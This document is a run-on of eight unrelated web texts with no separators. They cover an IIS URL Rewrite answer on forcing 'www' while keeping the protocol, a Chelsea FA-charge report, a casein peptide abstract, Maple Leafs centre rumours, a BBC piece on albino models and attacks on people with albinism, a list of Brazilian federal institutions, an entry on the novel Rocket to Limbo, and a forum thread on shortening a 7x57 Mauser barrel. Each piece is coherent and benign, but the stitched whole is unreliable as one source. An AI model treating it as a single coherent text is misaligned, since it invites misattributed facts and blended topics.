Q: How do I enforce www on an IIS hosted website? My site is hosted on IIS, I need to enforce the browser to use www prefix. I've installed the Url Rewrite Module and my rule is: <?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <rewrite> <rules> <rule name="Add WWW" stopProcessing="true"> <match url="^(.*)$" /> <conditions> <add input="{HTTP_HOST}" pattern="^(?!www\.)(.*)$" /> </conditions> <action type="Redirect" url="http://www.{C:0}{PATH_INFO}" redirectType="Permanent" /> </rule> </rules> </rewrite> </system.webServer> from IIS7 URL Rewrite - Add "www" prefix But I cannot work out how to maintain ssl A: You need to capture the protocol in the input: <rule name="Enforce WWW" stopProcessing="true"> <match url=".*" /> <conditions> <add input="{CACHE_URL}" pattern="^(.+)://(?!www)(.*)" /> </conditions> <action type="Redirect" url="{C:1}://www.{C:2}" redirectType="Permanent" /> </rule> {C:1} will contain the protocol and {C:2} will have your domain and anything else. (source)

Andre Villas-Boas denies FA charge Chelsea boss Andre Villas-Boas has denied a Football Association charge for comments he made after his side's 1-0 defeat at QPR earlier this month. The Portuguese admitted after the game he had been "very aggressive" with referee Chris Foy after accosting him post-match at Loftus Road, and accused the official who sent off two of his players in the Barclays Premier League game of failing to treat the teams equally. But, after he was handed an FA charge for improper conduct earlier this week, Villas-Boas last night denied the allegation. "With regards to the FA charge against Andre Villas-Boas for remarks he made after the QPR game, the manager is denying the charge against him and has submitted his response to the Football Association," a statement from the Blues read. The 34-year-old has been less than impressed by some decisions against his team, even calling referees' chief Mike Riley to complain about the performance of the officials in a defeat at Manchester United. He was also critical of decisions in their draw at Stoke. Speaking after the defeat at QPR, Villas-Boas said: "The ref was poor, very very poor. And it reflected in the result."

Casein hydrolysis by Bifidobacterium longum KACC91563 and antioxidant activities of peptides derived therefrom. Milk protein is a well-known precursor protein for the generation of bioactive peptides using lactic acid bacteria. This study investigated the antioxidant activity of bovine casein hydrolysate after fermentation with Bifidobacterium longum KACC91563 using the 2,2'-azinobis-(3-ethylbenzothiazoline-6-sulfonic acid) (ABTS) assay and total phenolic content (TPC). The antioxidant activities of the 24-h and 48-h hydrolysates were higher than that of the 4-h hydrolysate (2,045.5 and 1,629.3 μM gallic acid equivalents, respectively, vs. 40.3 μM) in the ABTS assay. In contrast, TPC values showed activities of 43.2 and 52.4 μM gallic acid equivalents for the 4-h and 24-h hydrolysates, respectively. Three fractions (≥10 kDa, ≥3 but <10 kDa, and <3 kDa) were separated from the 24-h hydrolysate by ultrafiltration. Among these fractions, the <3 kDa fraction exhibited the highest antioxidant activity (936.7 μM) compared with the other fractions (42.1 and 34.2 μM for >10 kDa and 3-10 kDa fractions, respectively). Through liquid chromatography-electrospray ionization-tandem mass spectrometry analysis, 2 peptides, VLSLSQSKVLPVPQK and VLSLSQSKVLPVPQKAVPYPQRDMPIQA, containing the fragment VLPVPQ that has antioxidant properties, were identified in the <3kDa fraction after 24h of hydrolysis. The present study demonstrates the possibility of antioxidant peptide production from bovine casein using Bifidobacterium longum.

Leafs Looking For Another Centre? According to Paul Hunter of the Toronto Star, it appears as if the Maple Leafs could be exploring all options in order to bring in another centreman from outside the organization. While Hunter explains that Bozak and Grabovski have essentially nailed down the top two centre positions to begin the season, both Kadri and Mitchell have struggled enough for Burke to begin considering alternative means of reinforcement down the middle. During the media conference call on Sunday afternoon, Burke had this to say about his current forward group: “No one has ever said we’re going with this group. We’re still in a great position for waiver claims. We still have our scouts out scouring. We haven’t ruled out doing something. . . . We may need to go out and grab a centre. Regarding Kadri: “He’s not played anywhere near to what we had hoped for and expected. I don’t know why that is and he’s running out of time.” Hunter speculates that Christian Hanson will likely be slotted in between Colton Orr and Mike Brown on the team’s fourth line, which by process of elimination, suggests that the Leafs could be looking to acquire a veteran third line centre. Presumably, this would be a player who would mesh into Burke’s “top six – bottom six” philosophy as a defensively minded player who will win faceoffs, battle in the corners and contribute on the team’s penalty kill unit. One such player could be former Canuck/Duck Brendan Morrison, whom Burke and Nonis are both quite familiar with. Morrison is currently with the Canucks’ camp on a tryout basis, but has been playing well. The 35 year old B.C. native posted 42 points and a +23 rating in 74 games played for the Capitals last season. If he doesn’t manage to snag a full-time job on a very deep Canuck team (Sedin, Kesler, Malholtra down the middle), then look for the Leafs to perhaps inquire about his services.

Albino models setting the trend for Africa By Kate Forbes BBC News, Johannesburg Published duration 27 October 2012 Backstage amidst the chaos of Africa Fashion Week in the South African city of Johannesburg one woman sits quietly in a corner. Other models and designers from across the continent dash from one end of the tent to the other - there seems to be an unofficial competition to see who can make the most noise. Yet despite her silence, US albino supermodel Diandra Forrest is still the most noticeable person in the room. With a complete lack of pigment in her hair or skin, the New Yorker who grew up in the city's mainly black Bronx community is used to sticking out a mile. Around one person in 17,000 is born with the genetic disorder, which can also cause blindness. But she knows that her presence at Africa Fashion Week has a much greater significance than just challenging ideas of what is beautiful. In some African countries, particularly in East Africa, people with albinism are at risk of abduction and mutilation, as their body parts are believed by some to make potions and rituals more powerful. "It matters a lot to me to be here, because I want to change the way people see girls with albinism on the continent," she told the BBC. "I thought I had it so tough when I was growing up, with kids making fun of me all the time. I used to come home in tears," she recalls. 'Shocked' "But that's nothing compared to what people like me go through here, particularly in rural areas. image caption International designers like to use albino models at the moment "When I found out that in countries like Tanzania, albino people like me are at risk of having their limbs cut off for the trade in body parts I was just so shocked. "People just like me live in fear every day of their lives. It's terrible." But when it comes to international catwalks, Ms Forrest is setting a trend. Like others in the fashion world, British-based South African designer Jacob Kimmie was smitten when he saw Ms Forrest. "She looks so other worldly, I had to have her in the show," he says. "At the moment using an albino model is very hot right now, it's true. "But hopefully the impact of using people who look very different, is that it inspires a longer term change." Refilwe Modiselle, a South African model with albinism who grew up in Soweto, agrees. Modelling since the age of 13, she is now the face of the South African fashion chain Legit and tells me albinism used to be viewed negatively but is now becoming more "mainstream". "I really feel that the work Diandra and I are doing is the beginning of a real change," she says. Witchcraft link But in Kwazulu Natal, a day's drive from the Africa Fashion Week catwalk, an albino schoolboy has been missing for over a year after his abduction. His family fear it is linked to witchcraft. Most recently in Meru, Tanzania, the body of an albino man estimated to be in his 30s, was discovered in June with several of his body parts missing. image caption People with albinism in parts of East Africa live in fear of their lives The body parts are used in witchcraft medicines or buried underneath businesses in the belief that they bring prosperity. So can a model on a catwalk really make a difference? Peter Ash, the author of a 2012 report commissioned by the UN on albinism, says it can. "The more positive portrayals of people with albinism the better; it really helps." "The main problem we find is that there is an underlying acceptance of violence against people with albinism, because they are seen as sub-human, a representation of the devil, or carriers of a curse," he says. "So it's crucial that African society starts seeing positive role models to be able to change thinking like that." Quoted in the UN report, the non-governmental organisation Under the Same Sun estimated that around 71 people with albinism were killed in Tanzania between 2006 and 2012, and 31 survived machete attacks. Seventeen albinos were murdered in Burundi, seven in Kenya seven and three in Swaziland. The cases are often not properly reported or investigated, says Nomasonto Mazibuko from the Society for Albinism in South Africa. But she says that change has got to come from within the continent: "The crucial point is that people don't take people with albinism as actual human beings. It is up to us in Africa to talk about this and make inroads against prejudice." Her voice rises with passion as we talk: 'We cannot be quiet, we cannot stay hidden. "And any girl with albinism who is walking on an international catwalk or even the street with her head held high is a much needed role model." Ms Modiselle hopes she can be that catalyst for inspiration for the often racially divided society in South Africa and the continent as a whole. "I'm the symbol of racial unity. I'm a black girl who lives in the skin of a white person and that alone should embody what a human being as a whole should represent," she told the BBC. "I'd like to be known as a model, and for all my other achievements, not for being albino."

List of federal institutions of Brazil This is a list of the federal institutions of Brazil: Legislative branch National Congress, Congresso Nacional Chamber of Deputies, Câmara dos Deputados Senate of Brazil, Senado Federal Court of Audit of the Union, Tribunal de Contas da União (TCU) Executive branch Cabinet of Brazil, Gabinete Ministerial Presidency of Brazil, Presidência da República National Defense Council, Conselho de Defesa Nacional (CDN) Cabinet of Institutional Security, Gabinete de Segurança Institucional (GSI) Chief of Staff, Casa Civil da Presidência da República National Antidrugs Secretariat, Secretaria Nacional Antidrogas (SENAD) Special Secretariat for Human Rights, Secretaria Especial dos Direitos Humanos (SEDH) General-Secretariat of the Presidency, Secretaria-Geral da Presidência (SG) Attorney General of the Union, Advocacia-Geral da União (AGU) Press Secretary, Secretaria de Comunicação Social (SeCom) Spokesman of the Presidency, Porta-Voz da Presidência Strategic Affairs Unit, Núcleo de Assuntos Estratégicos (NAE) Vice-Presidency of Brazil, Vice-Presidência da República Ministry of Agrarian Development, Ministério do Desenvolvimento Agrário Instituto Nacional de Colonização e Reforma Agrária (INCRA) Ministry of Agriculture, Livestock and Supply, Ministério da Agricultura, Pecuária e Abastecimento Secretaria de Produção e Comercializão (SPC) Secretaria de Defesa Agropecuária (SDA) National Institute of Meteorology, Instituto Nacional de Meteorologia (INMET) Ministry of Communications, Ministério das Comunicações (MC) Brazilian Agency of Telecommunications, Agência Nacional de Telecomunicações (ANATEL) Brazilian Post and Telegraph Corporation, Empresa Brasileira de Correios e Telégrafos (ECT) Ministry of Culture, Ministério da Cultura (MinC) Institute of National Historical and Artistic Heritage, Instituto do Patrimônio Histórico e Artístico Nacional (IPHAN) National Cinema Agency, Agência Nacional do Cinema (Ancine) House of Rui Barbosa Foundation, Fundação Casa de Rui Barbosa (FCRB) Palmares Cultural Foundation, Fundação Cultural Palmares (FCP) National Foundation of Arts, Fundação Nacional de Artes (Funarte) National Library Foundation, Fundação Biblioteca Nacional (FBN) National Museum of Brazil, Museu Nacional Ministry of Defense, Ministério da Defesa (MD) Brazilian Army, Exército Brasileiro (EB) Brazilian Air Force, Força Aérea Brasileira (FAB) Aeronautical Accidents Investigation and Prevention Center, Centro de Investigação e Prevenção de Acidentes Aeronáuticos (CENIPA) Brazilian Navy, Marinha do Brasil (MB) Linked entities Brazilian Airport Infrastructure Company, Empresa Brasileira de Infraestrutura Aeroportuária (Infraero) Higher War School, Escola Superior de Guerra (ESG) Armed Forces Hospital, Hospital das Forças Armadas (HFA) National Civil Aviation Agency, Agência Nacional de Aviação Civil Ministry of Development, Industry and Foreign Trade, Ministério do Desenvolvimento, Indústria e Comércio Exterior (MDIC) National Institute of Metrology, Standardization and Industrial Quality (Brazil) Instituto Nacional de Metrologia, Normalização e Qualidade Industrial, (INMETRO) National Institute of Industrial Property Instituto Nacional da Propriedade Industrial (INPI) National Bank for Economic and Social Development Banco Nacional de Desenvolvimento Econômico e Social (BNDES) Ministry of Education, Ministério da Educação (MEC) National Institute of Educational Studies and Investigations, Instituto Nacional de Estudos e Pesquisas Educacionais (INEP) National Council of Education, Conselho Nacional da Educação Joaquim Nabuco Foundation, Fundação Joaquim Nabuco Federal Centers of Technological Education, Centros Federais de Educação Tecnológica (CEFETS) Federal agrotechnical schools, Escolas agrotécnicas federais Federal universities Ministry of the Environment, Ministério do Meio Ambiente (MMA) Councils and commissions Conselho Nacional do Meio Ambiente (CONAMA) Conselho Nacional da Amazônia Legal (CONAMAZ) Conselho Nacional de Recursos Hídricos Conselho Deliberativo do Fundo Nacional do Meio Ambiente Conselho de Gestão do Patrimônio Genético Comissão de Gestão de Florestas Públicas Comissão Nacional de Florestas (CONAFLOR) Serviço Florestal Brasileiro (SFB) Linked entities Agência Nacional de Águas (ANA) Brazilian Institute of Environment and Renewable Natural Resources, Instituto Brasileiro do Meio Ambiente e dos Recursos Naturais Renováveis (IBAMA) Instituto Chico Mendes de Conservação da Biodiversidade Instituto de Pesquisas Jardim Botânico do Rio de Janeiro (JBRJ) Companhia de Desenvolvimento de Barcarena (CODEBAR) Ministry of Foreign Affairs, Ministério das Relações Exteriores (MRE/Itamaraty) Rio Branco Institute, Instituto Rio Branco (IRBr) Alexandre de Gusmão Foundation, Fundação Alexandre de Gusmão (FUNAG) Ministry of Finance, Ministério da Fazenda Secretariats Secretaria-Executiva Subsecretaria de Planejamento Orçamento e Administração Secretaria de Acompanhamento Econômico (SEAE) Secretaria de Assuntos Internacionais Secretaria de Política Econômica Secretariat of Federal Revenue of Brazil, Secretaria da Receita Federal do Brasil Secretariat of National Treasury, Secretaria do Tesouro Nacional Collegiate Organs Conselho Monetário Nacional Conselho Nacional de Política Fazendária Conselho de Recursos do Sistema Financeiro Nacional Conselho Nacional de Seguros Privados Conselho de Recursos do Sistema Nacional de Seguros Privados, de Previdência Privada Aberta e de Capitalização Council for Financial Activities Control, Conselho de Controle de Atividades Financeiras (COAF) Câmara Superior de Recursos Fiscais Conselhos de Contribuintes Comitê Brasileiro de Nomenclatura Comitê de Avaliação de Créditos ao Exterior Comitê de Coordenação Gerencial das Instituições Financeiras Públicas Federais Linked entities Autarchies: Central Bank of Brazil, Banco Central do Brasil Comissão de Valores Mobiliários Superintendência de Seguros Privados Public companies: Casa da Moeda do Brasil Serviço Federal de Processamento de Dados Caixa Econômica Federal Empresa Gestora de Ativos Mixed economy companies: Banco do Brasil Brasil Resseguros Banco da Amazônia Banco do Nordeste do Brasil Banco do Estado do Piaui Banco do Estado de Santa Catarina BESC Crédito Imobiliário (BESCRI) Ministry of Health, Ministério da Saúde (MS) Ministry of Justice, Ministério da Justiça (MJ) State Secretariat for Human Rights, Secretaria de Estado dos Direitos Humanos (SEDH) National Secretariat of Justice, Secretaria Nacional de Justiça National Prison Department, Departamento Penitenciário Nacional (DEPEN) Department of Foreigners, Departamento de Estrangeiros (DEEST) National Secretariat of Public Security, Secretaria Nacional de Segurança Pública (SENASP) Secretariat for Economic Rights, Secretaria de Direito Econômico (SDE) Department of Consumer Protection and Defence, Departamento de Proteção e Defesa do Consumidor (DPDC) Department of Economic Protection and Defence, Departamento de Proteção e Defesa Econômico (DPDE) Secretariat for Legislative Affairs, Secretaria de Assuntos Legislativos (SAL) Federal Police Department, Departamento de Polícia Federal (DPF) Department of the Federal Highway Police, Departamento de Polícia Rodoviária Federal (DPRF) Departamento Nacional de Trânsito (DENATRAN) Ministry of Labor and Employment, Ministério do Trabalho e Emprego Board of Trustees of the Guarantee Fund Service Time, Conselho Curador do Fundo de Garantia do Tempo de Serviço Advisory Board of the Fund for Workers, Conselho Deliberativo do Fundo de Amparo ao Trabalhador National Council for Solidarity Economy, Conselho Nacional de Economia Solidária National Immigration Council, Conselho Nacional de Imigração National Labour Council, Conselho Nacional do Trabalho Legal Advice, Consultoria Jurídica Jorge Duprat Figueiredo Foundation, Safety and Occupational Health, Fundação Jorge Duprat Figueiredo, de Segurança e Medicina do Trabalho Office of the Minister, Gabinete do Ministro Ombudsman General, Ouvidoria-Geral Bureau of Labor Inspection, Secretaria de Inspeção do Trabalho Department of Public Employment Policies, Secretaria de Políticas Públicas de Emprego Bureau of Labor Relations, Secretaria de Relações do Trabalho National Secretariat for Solidarity Economy, Secretaria Nacional de Economia Solidária Executive Secretary, Secretaria-Executiva Regional superintendencies: Alagoas Goiás Mato Grosso Mato Grosso do Sul Minas Gerais Pernambuco Rondônia Roraima Santa Catarina São Paulo Sergipe Tocantins Bahia Paraíba Acre Amapá Amazonas Ceará Distrito Federal Espírito Santo Maranhão Pará Paraná Piauí Rio de Janeiro Rio Grande do Norte Ministry of National Integration, Ministério da Integração Nacional Departamento Nacional de Obras Contra as Secas (DNOCS) Ministry of Planning, Budget and Management, Ministério do Planejamento, Orçamento e Gestão Brazilian Institute of Geography and Statistics, Instituto Brasileiro de Geografia e Estatística (IBGE) Institute of Applied Economic Research, Instituto de Pesquisa Econômica Aplicada (IPEA) Ministry of Science and Technology, Ministério da Ciência e Tecnologia (MCT) Brazilian Space Agency, Agência Espacial Brasileira (AEB) National Institute for Space Research, Instituto Nacional de Pesquisas Espaciais (INPE) National Nuclear Energy Commission, Comissão Nacional de Energia Nuclear (CNEN) National Institute of Amazonian Research, Instituto Nacional de Pesquisas da Amazônia (INPA) National Institute of Technology, Instituto Nacional de Tecnologia (INT) National Council of Scientific and Technological Development, Conselho Nacional de Desenvolvimento Científico e Tecnológico (CNPq) Brazilian Institute of Information in Science and Technology, Instituto Brasileiro de Informação em Ciência e Tecnologia (IBICT) Institute for Pure and Applied Mathematics, Instituto Nacional de Matemática Pura e Aplicada (IMPA) Brazilian Centre of Physics Research, Centro Brasileiro de Pesquisas Físicas (CBPF) Centre of Mineral Technology Centro de Tecnologia Mineral (CETEM) National Laboratory of Astrophysics, Laboratório Nacional de Astrofísica (LNA) National Laboratory of Scientific Computing, Laboratório Nacional de Computação Científica (LNCC) National Laboratory of Light Synchrotron, Laboratório Nacional de Luz Síncrotron (LNLS) National Technical Commission of Biosecurity, Comissão Técnica Nacional de Biossegurança (CTNBio) Renato Archer Research Center, Centro de Pesquisas Renato Archer (CPRA) Ministry of Social Welfare and Security, Ministério de Previdência e Assistência Social (MPAS) National Institute of Social Security, Instituto Nacional do Seguro Social (INSS) Ministry of Sports, Ministério do Esporte National Institute of Sport Development, Instituto Nacional de Desenvolvimento do Desporto Ministry of Tourism, Ministério do Turismo Brazilian Tourism Agency, Empresa Brasileira de Turismo (Embratur) Ministry of Transportation, Ministério dos Transportes Departamento Nacional de Infraestrutura de Transporte (DNIT) Judicial branch Administrative organs National Justice Council Federal Council of Justice Conselho da Justiça Federal (CJF) Supreme Court Supreme Federal Court, Supremo Tribunal Federal (STF) Superior courts Superior Court of Labor, Tribunal Superior do Trabalho (TST) Superior Military Court, Superior Tribunal Militar (STM) Superior Electoral Court Tribunal Superior Eleitoral (TSE) Superior Court of Justice, Superior Tribunal de Justiça (STJ) Second instance Courts Regional Labor Courts Regional Electoral Courts Regional Federal Courts Regional Military Courts Regional State Courts First instance courts Labor Courts Electoral Courts Federal Courts Military Courts Municipal Courts Other court Court of Justice of the Federal District and the Territories Tribunal de Justiça do Distrito Federal e dos Territórios (TJDFT) Public Ministry of the Union Federal Public Ministry, Ministério Público Federal (MPF) Labor Public Ministry, Ministério Público do Trabalho (MPT) Military Public Ministry, Ministério Público Militar (MPM) See also List of Brazilian government enterprises List of regulatory organs of Brazil Brazilian Public Service References Sistema de Informações Organizacionais do Governo Federal SIORG Category:Lists of organisations based in Brazil

Rocket to Limbo Rocket to Limbo is a 1957 science fiction novel by Alan E. Nourse. It was first published in book form by David McKay Co., Inc, and was later incorporated into an Ace Double (with Echo in the Skull, by John Brunner). It first appeared in the October 1957 issue of Satellite Science Fiction. Plot On the afternoon of 2008 Mar 03 the Star Ship Argonaut lifted off Earth and set course on the Long Passage to Alpha Centauri. The builders intended that the crew establish a colony on one of Alpha Centauri's planets and then bring Argonaut back to Earth. The ship never returned and no trace of her has ever been found. In the year 2351 Lars Heldrigsson joins the crew of the Star Ship Ganymede, which is scheduled to fly to Vega III. Once the ship has lifted herself into space Lars and the other 21 crewmen discover that the ship is actually going to the planet Wolf IV to search for the lost Star Ship Planetfall. Such a thing is unprecedented and even more disturbing is the presence of fusion bombs in the ship's hold. Angry at being effectively shanghaied onto a dangerous mission, some of the men attempt to take the ship. The mutiny fails and, threatened with abandonment in interstellar space, the mutineers agree to continue on the mission. Wolf IV is a cold, gray planet, almost completely covered by clouds. A scout spots what appears to be the wreckage of the Planetfall lying on a mountainside and also catches a glimpse of what he takes to be a city in a valley beyond the mountains. The crew lands Ganymede on a river delta 75 miles from the wreck and landing parties go out to familiarize the men with the environment. At night the mutineers sabotage the communications equipment and return to the ship. Lars discovers the betrayal and he and the other men pursue the mutineers. When they get back to the delta they see that the ship is gone, though no one heard or saw it blast off. With no other option available to them, the men make the arduous climb to the wreck, hoping to find food, generators to recharge the batteries in their heater suits, and possibly a means of communicating with Earth. But the wreck is not the Planetfall: it is the Argonaut. The men's last, faint hope now is to find the city that the scout thought he saw in the next valley. The men trudge onward, over the pass, and down into the valley. The fog lifts and the men see a three-dimensional kaleidoscope, filled with people, floating several hundred feet above a meadow. Lars is taken into the city and meets up with Peter Bingham, Ganymede's other Officer-in-Training. Lars and Peter are treated as honored guests by the City-people, who possess the power of teledynamics, the ability to change the forms of matter and energy with a thought. Meanwhile, Planetfall and Ganymede are kept in storage and their crews kept in deep sleep. The City-people subject Lars and Peter to some kind of training but cannot explain what it is meant to accomplish. Then suddenly the men discover that they are being trained to develop their own teledynamic abilities and that the training has succeeded. The City-people, the descendants of the babies that aliens found in the wreck of the Argonaut, free the other men and allow them to take their ships back to Earth, with Lars and Peter as ambassadors of a new order of Reality. At the end of the story Lars and Peter break the deadlock in the plot by developing the latent psychic powers that the City-people had been nurturing in them. In this feature the story resembles a similar breaking of the story’s deadlock found in The Angry Espers by Lloyd Biggle, Jr., in which an Earthman stranded on a strange planet must develop his latent psychic abilities in order to deal with the people around him. Publication history 1957, USA, David McKay, OCLC #586602, Hardback (198 pp). 1957, USA, Renown Publications, Inc., Satellite Science Fiction (Oct 1957), digest (132 pp). 1959, USA, Ace Books (Ace Double #D-385), Pub date Sep 1959, Paperback (162 pp). 1961, Spain, Editorial Cenit (#9), Madrid, as El Planeta Gris (The Gray Planet). 1964, UK, Faber & Faber (London), (174 pp) 1964, Germany, Arthur Moewig Verlag (Munich)(Terra Sonderband #89), 172 pp, as Phantom-City. 1986, USA, Ace Books, , Pub date Oct 1986, Paperback (185 pp). Reviews The book was reviewed by S. E. Cotts at Amazing Science Fiction Stories (Jan 1960) Frederik Pohl at If (Mar 1960) P. Schuyler Miller at Astounding/Analog Science Fact & Fiction (Jun 1960) Floyd C. Gale at Galaxy Science Fiction (August 1960) Patricia Altner at Fantasy Review (Dec 1986) Virginia Kirkus at Kirkus Reviews (1957 Oct 25). Ms. Kirkus wrote, "Ad astra again – this time aboard the SS Ganymede with Lars Heldrigsson. Lars lives in the year 2008. Iceland was home to Lars, with flourishing wheat fields long since established by Lars' grandfather. His first star-run should have lasted two months, for a embarkation the Ganymede's goal was Vega III for a final check on a new colony site for men from over-populated earth. But Lars had barely gotten his 'space legs' when he began to suspect that Peter Brigham's presence on board presaged an entirely different destination – one that would involve Lars in attempted mutiny. This is no ordinary star-jump; author Nourse has conceived a really credible plot with three dimensional characters motivated by plausible reasoning. Furthermore, he has a most uncanny ability to visualize the strange sensations and settings of the world of the future. The season's best juvenile science fiction fabrication to date." References Notes Sources Clute, John. "Nourse, Alan E." The Encyclopedia of Science Fiction. Eds. John Clute, David Langford, Peter Nicholls and Graham Sleight. Gollancz, 4 Nov. 2014. Web. 8 Nov. 2014. Tuck, Donald H. (1974). The Encyclopedia of Science Fiction and Fantasy. Chicago: Advent. pg. 333. . Listings The book is listed at The Library of Congress as 57012177 The British Library as UIN = BLL01002679137 Category:1957 American novels Category:1957 science fiction novels Category:Alpha Centauri in fiction Category:American science fiction novels Category:Space exploration novels Category:Fiction set in the 24th century

minimum accurate barrel length for 7mm mauser I just got a nicely sporterized chilean mauser in 7x57 (7mm Mauser). I'd like to shorten the barrel and stock for my wife to use it for deer/elk. what is the minimum length I should go to and still be able to get decent groups with the high twist rate barrel on it? Some well thought of Brno rifles came with barrels that I think are a metric length that translates to 20.5". Those are nice rifles. The barrel length, twist and accuracy don't affect each other much as long as the original twist was ok. TurtlePhish November 29, 2012, 11:16 PM Length has nothing to do with accuracy as long as there's enough rifling to stabilize the bullet (which happens very quickly in the very beginning of the barrel). What length WILL effect is how far out you'll be able to effectively reach out with the rifle. .333 Nitro Express November 30, 2012, 12:00 AM Dumb question: I understand why you may want to shorten the stock (depending on your wife's length of pull), but why do you want to shorten the barrel? How long is it now? I think that 20"-23" for a 7mm is about right--anything shorter is going to give you a lot of muzzle flash and leave a lot of powder unburned. Art Eatman November 30, 2012, 12:28 AM Shorter = noiser, which makes sighting in less pleasant. wlewisiii November 30, 2012, 12:32 AM I have a 19" barrel on my "scout rifle" that I am building in 7x57. I'd not be willing to go any shorter. morcey2 November 30, 2012, 01:15 AM Mine has a 24" barrel and I like that length. 20" is probably as short as I'd go. If I want that kind of muzzle blast, I'll grab one of my M44s or M38s. :) Matt lefteyedom November 30, 2012, 01:28 AM IMHO: 20" is a idea hunting barrel length, with an overall rifle length of not more than 40 inches. I prefer hunting rifles to be a bit on the short side with the balance point being in the middle of the action. A rifle should look proportional and be quick to the shoulder. Muzzle blast from a 20" barrel 7X57 is very manageable. Hunting rifles are carried much and shot little. Basic marksmanship skills are best developed and maintained easy shooting rifles. Once the skills are mastered they are easily transferred to any weapon. (Savage is currently selling a HOG GUN cambered 338 Win Mag with a 20" barrel that would be almost unmanageable) For the record: My old Savage 110J in 7-08 has a 20" barrel with an overall length of 40". The barrel extends 10 1/2 inches past the stock, and the pull is 13". (2x7x32 burris) My "truck gun" is an military 1898 Mauser, 8X57, its barrel is 18 1/2" with an overall length of 38". The barrel extends 8" past the stock and the pull is 13" (fix 4x scope) MachIVshooter November 30, 2012, 11:53 AM I'd recommend 20"-22". The 7x57 is an efficient cartridge, but you're still burning ~50 grains of powder. Go under 20", velocity will start to suffer quite a bit, limiting range. helotaxi November 30, 2012, 12:15 PM I think that 20"-23" for a 7mm is about right--anything shorter is going to ... leave a lot of powder unburned.Common misconception. The overwhelming majority of the powder that is going to burn does so before the bullet has gone 6 inches down the barrel. After that it's just a matter of the high pressure combustion products from the burned powder expanding to continue to accelerate the bullet. As long as the expanding gases still have sufficient pressure to overcome the friction of the bullet on the bore, adding barrel length will add velocity. However, you reach a point where the additional velocity gained per inch of barrel begins to drop off fairly rapidly. What barrel length that occurs at depends on the cartridge and bullet being used. The larger the ratio of powder charge to bore diameter, the longer the barrel length before this occurs. That is because the relatively large charge of powder generates a lot of gas. A lot of gas expanding down a relatively small tube creates a small expansion ratio and the result is that the pressure and resulting bullet acceleration remains fairly high for an extended distance. Cartridge that act like this are called "over-bore" though "under bore" would make more sense. I'm not too familiar with the loading of the 7x57, but it does have a lower case capacity than the 7mm WSM. The WSM has a standard barrel length of 24" and going shorter than that starts to cost velocity quickly. The 7x57 should be somewhat less sensitive to barrel lenght within that range. jimmyraythomason November 30, 2012, 01:19 PM My 7x57 performs very well with it's 20" barrel. joed November 30, 2012, 01:21 PM I can understand shortening the barrel, I hated Mausers because they came with about a 40" barrel. One thing I never see are pictures of sporterized guns, I'd like to. rcmodel November 30, 2012, 01:24 PM IMO: Shortening it below 20" would be a huge mistake. Muzzle blast will be so bad and so close to her ears your wife will hate shooting it. rc jimmyraythomason November 30, 2012, 01:54 PM One thing I never see are pictures of sporterized guns, I'd like to. Okee dokee. Here is a 7x57 built from a Chinese mauser receiver with a Latin contract barrel. MachIVshooter November 30, 2012, 02:41 PM Cartridge that act like this are called "over-bore" though "under bore" would make more sense. One has to remember that it's an abbreviated colloquialism. There's a 3rd word that gets left off most of the time: Capacity. The correct, full term is over bore capacity .333 Nitro Express November 30, 2012, 04:15 PM Helotaxi, I respectfully disagree. :) While you are right that the bulk of the powder gets burned in the first few inches of a barrel, a shorter barrel will leave more powder unburned or not fully burned than a longer one. This is obviously more marked with slow-burning powders such as 4350, 4831 or 450, with cartridges that require a heavier charge, such as the Wby Mags, and with lower rather than higher pressures. Here's a quote from a S.W.A.T magazine article: According to Mike Rescigno, President of Tac Ops, the 22-inch barrel is ideal for the tactical shooters that are going to use the 190-grain Federal Match ammo. There isn't any loss of performance by going to the 22-inch barrel and this round. The Alpha 66 still provides 1/4-MOA or better accuracy. For heavier bullets or hotter loads with slower burning powders, Rescigno recommends a 24- to 26-inch barrel. The longer barrel length is necessary for complete powder combustion with these loads. (Emphasis mine) This also bears out with my experience working with engineers of rifle manufacturers, when we would discuss introducing a new hunting rifle in a "hot" caliber--complete combustion of slower-burning powders was always a concern. I do agree with you that this is largely an academic discussion, though--there are a couple barrel lengths that are a commonsense minimum for standard and magnum cartridges respectively (well, depending on bore size too, but now we are wading into Megageek Land), and as long as we stay within range of these lengths, everything else is superfluous. Please let me know if there is more recent data that shows otherwise--I'd be interested in seeing that, also because I've been out of the loop for a few years. helotaxi November 30, 2012, 06:25 PM Agree or disagree, that doesn't change the internal ballistics. "Complete" powder burn is not a goal worth pursuing and any gains from a longer barrel is not because more powder burns. Play with Quickload. Look at the percent burn number. With 3031, for example, you get a full burn almost regardless of barrel length using a 155gn pill in the .308. With Varget, almost no barrel length within reason gves you a complete burn. The velocities of the two powders track very closely through the range of barrel lengths. You'll find that the same comparison holds true with the various cartridges and powders. You'll also find that any suitable powder will be more than 90% burned in a 6" barrel and it will often take more than 30" to get 100%. Getting all the powder to burn is a pointless exercise as the small percentage of unburned powder adds very little extra gas to the equation. It does essentially nothing to sustain the pressure curve as the pressure is dropping so fast when that last handful of percentage points of the powder charge finishes burning that measuring the difference in pressure/veloctiy from its contribution is essentially impossible because it's simply too small. The whole point of a large case of slow powder behind a bullet isn't to provide a long duration burn, the actual difference in burn time is miniscule and measured in single digit inches of bullet travel, low single digits. What that slow powder does is slightly delay the pressure spike to control peak pressure while providing a large volume of combustion product producing a sustained pressure curve. Such cartridges benefit from a long barrel not because of the powder burning, despite what the "source" above says, but because the pressure remains high for a longer period of bullet travel. Cutting the barrel short reduces the benefit of that large powder charge and the result is that you end up with a very loud, very expensive round that does not provide any added performance over a smaller cartridge burning much less powder. You can in essence find a barrel length where a .300 WM offers no benefit over a .308 and both burn the same percentage of their powder charge, both comfortably over 90%. Boxhead December 1, 2012, 10:05 AM Here's a sporter 7x57 Mauser built on a Swede (M96) action. It wears a 22" barrel and is right for this particular build. yeah, it currently wears a 28.5" barrel, as measured from the bolt face... I don't want a barely legal rifle, i just want something handy. I read somewhere that 24" was a minimum for the 7x57 before you start losing velocity, and therefore "reach". also, tutlephish, you are right about length and accuracy, i misspoke. I think the best compromise is 22". enough to keep the balance a little forward, but short enough that it's not hanging up in the brush 3 miles ahead of you...

